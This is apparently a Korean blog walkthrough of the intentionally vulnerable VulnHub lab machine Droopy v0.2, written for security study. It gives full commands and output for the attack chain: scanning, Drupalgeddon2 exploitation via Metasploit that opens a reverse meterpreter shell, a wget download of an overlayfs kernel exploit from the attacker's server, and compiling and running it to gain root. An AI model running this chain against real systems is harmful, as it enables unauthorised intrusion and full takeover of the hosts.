vulnhub Walkthrough :Droopy: v0.2

14622 단어 보안VulnHubCTF
초보자가 가득한 시큐리티 엔지니어를 목표로 하기 위해 공부한 비망록이 되기 때문에 잘못되어 있는 일이 있을지도 모릅니다.
vulnhub의 의도적으로 취약성이 만들어진 Droopy: v0.2의 Walkthrough입니다.

vulnhub 정보





이름
Droopy: v0.2


Date release
17 Apr 2016

작성자
나이트마어

시리즈
Droopy


PortScan:



아파치가 실행되고 있는 것 같습니다.


서비스
VERSION


http
Apache httpd 2.4.7 ((Ubuntu))

Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-11 19:14 JST                                         
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers                                                             
Nmap scan report for 192.168.56.78                                                                      
Host is up (0.00039s latency).                                                                          
Not shown: 999 closed ports                                                                             
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
MAC Address: 08:00:27:23:12:01 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.85 seconds

Enumeration:


Drupal 라는 CMS 가 사용되고 있습니다.

Drupal 버전을 확인하기 위해 디렉터리를 검색하고 있다면http://192.168.56.78/includes/update.inc라는 파일이 있고,Drupal 7 라고 기재가 있었습니다.

root@kali:~# dirb http://192.168.56.78
-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Mon May 11 19:26:23 2020
URL_BASE: http://192.168.56.78/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.56.78/ ----
==> DIRECTORY: http://192.168.56.78/includes/                                                          
+ http://192.168.56.78/index.html (CODE:200|SIZE:11510)                                                
+ http://192.168.56.78/index.php (CODE:200|SIZE:7630)                                                  
+ http://192.168.56.78/info.php (CODE:200|SIZE:78703)                                                  
==> DIRECTORY: http://192.168.56.78/misc/                                                              
==> DIRECTORY: http://192.168.56.78/modules/                                                           
==> DIRECTORY: http://192.168.56.78/profiles/                                                          
+ http://192.168.56.78/robots.txt (CODE:200|SIZE:1550)                                                 
==> DIRECTORY: http://192.168.56.78/scripts/                                                           
+ http://192.168.56.78/server-status (CODE:403|SIZE:293)                                               
==> DIRECTORY: http://192.168.56.78/sites/                                                             
==> DIRECTORY: http://192.168.56.78/themes/                                                            
+ http://192.168.56.78/web.config (CODE:200|SIZE:2178)   



Exploitation:


Drupal7에는 취약점이 있으므로 metasploit를 사용하여 exploit를 수행합니다.
이번에는 exploit/unix/webapp/drupal_drupalgeddon2를 사용합니다.
필요한 정보를 설정한 후 실행한 곳에 연결할 수 있었습니다.

root@kali:~# msfconsole 
msf5 > search drupal

Matching Modules
================

   #  Name                                           Disclosure Date  Rank       Check  Description
   -  ----                                           ---------------  ----       -----  -----------
   0  auxiliary/gather/drupal_openid_xxe             2012-10-17       normal     Yes    Drupal OpenID External Entity Injection
   1  auxiliary/scanner/http/drupal_views_user_enum  2010-07-02       normal     Yes    Drupal Views Module Users Enumeration
   2  exploit/multi/http/drupal_drupageddon          2014-10-15       excellent  No     Drupal HTTP Parameter Key/Value SQL Injection
   3  exploit/unix/webapp/drupal_coder_exec          2016-07-13       excellent  Yes    Drupal CODER Module Remote Command Execution
   4  exploit/unix/webapp/drupal_drupalgeddon2       2018-03-28       excellent  Yes    Drupal Drupalgeddon 2 Forms API Property Injection
   5  exploit/unix/webapp/drupal_restws_exec         2016-07-13       excellent  Yes    Drupal RESTWS Module Remote PHP Code Execution
   6  exploit/unix/webapp/drupal_restws_unserialize  2019-02-20       normal     Yes    Drupal RESTful Web Services unserialize() RCE
   7  exploit/unix/webapp/php_xmlrpc_eval            2005-06-29       excellent  Yes    PHP XML-RPC Arbitrary Code Execution


msf5 > use exploit/unix/webapp/drupal_drupalgeddon2
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > show oprions
[-] Invalid parameter "oprions", use "show -h" for more information
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOST 192.168.56.78
RHOST => 192.168.56.78
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > exploit

[*] Started reverse TCP handler on 192.168.56.65:4444 
[*] Sending stage (38288 bytes) to 192.168.56.78
[*] Meterpreter session 1 opened (192.168.56.65:4444 -> 192.168.56.78:52706) at 2020-05-11 19:34:45 +0900
meterpreter > getuid
Server username: www-data (33)

Privilege Escalation:


meterpreter 에서 표적 머신의 시스템 정보를 확인한 결과,
취약한 OS 버전인 것 같습니다.searchsploit 에서 찾은 결과, exploit 할 수있는 소스 코드가 존재했습니다.

meterpreter > sysinfo
Computer    : droopy
OS          : Linux droopy 3.13.0-43-generic #72-Ubuntu SMP Mon Dec 8 19:35:06 UTC 2014 x86_64
Meterpreter : php/linux
meterpreter > 

kali@kali:~$ searchsploit linux 3.13.0
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                                                                                                                                    |  Path
                                                                                                                                                                                                  | (/usr/share/exploitdb/)
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation                                                                                              | exploits/linux/local/37292.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation (Access /etc/shadow)                                                                         | exploits/linux/local/37293.txt
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

찾은 37292.c를 대상 머신에 업로드하기 위해 python에서 HTTP 서버를 시작합니다.
대상 머신에서 37292.c를 다운로드하고 gcc로 컴파일합니다./var/www/html 의 부하에 다운로드를 해도 권한으로 에러가 되어 버리므로 /tmp 로 이동해
다운로드합니다.

kali@kali:~$ python -m SimpleHTTPServer 
Serving HTTP on 0.0.0.0 port 8000 …

먼저 meterpretershell 를 입력하고 shell 로 변경합니다.
그런 다음 python 를 사용하여 대화형 셸을 가져옵니다.

meterpreter > shell
Process 1105 created.                                                                                                                                                                                                                      
Channel 0 created.                                                                                                                                                                                                                         
id                                                                                                                                                                                                                                         
uid=33(www-data) gid=33(www-data) groups=33(www-data)  
python -c "import pty;pty.spawn('/bin/bash')";
www-data@droopy:/var/www/html$ 

www-data@droopy:/var/www/html$ cd /tmp
cd /tmp

www-data@droopy:/tmp$ wget http://192.168.56.65:8000/37292.c
wget http://192.168.56.65:8000/37292.c
--2020-05-11 20:45:37--  http://192.168.56.65:8000/37292.c
Connecting to 192.168.56.65:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5119 (5.0K) [text/plain]
Saving to: '37292.c'

100%[======================================>] 5,119       --.-K/s   in 0s      

2020-05-11 20:45:37 (82.1 MB/s) - '37292.c' saved [5119/5119]

www-data@droopy:/tmp$ ls
ls
37292.c

다운로드한 파일을 컴파일하고 실행합니다.
그러면 루트 권한을 얻을 수있었습니다.

이번에는 일반적인 테스트 툴 밖에 사용하지 않았음에도 불구하고 권한 승격까지 되어 버렸습니다.
오래된 버전을 사용하고 있다면 얼마나 위험한지 알 수 있습니다.

www-data@droopy:/tmp$ gcc 37292.c
gcc 37292.c

www-data@droopy:/tmp$ ls
ls
37292.c  a.out
www-data@droopy:/tmp$ ./a.out
./a.out
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
# whoami
whoami
root
# 

면책사항



본 기사는 정보 보안에 있어서의 공격의 이해, 방위의 스킬 향상을 목적으로 한 보안에 관한 내용이 있습니다. 본 기사의 내용을 사용하여 발생한 어떠한 손해나 손실에 대해서, 본 기사 작성자는 일절의 책임을 지지 않습니다.
본 기사의 내용을 실제로 사용하여 제3자의 개인이나 조직 등을 공격한 경우는 법률에 의해 처벌될 가능성이 있으므로 반드시 자신이 소유하고 있는 환경만을 대상으로 하여 타인이나 조직 가 소유하고 있는 환경은 결코 대상으로 하지 않도록 부탁합니다.

좋은 웹페이지 즐겨찾기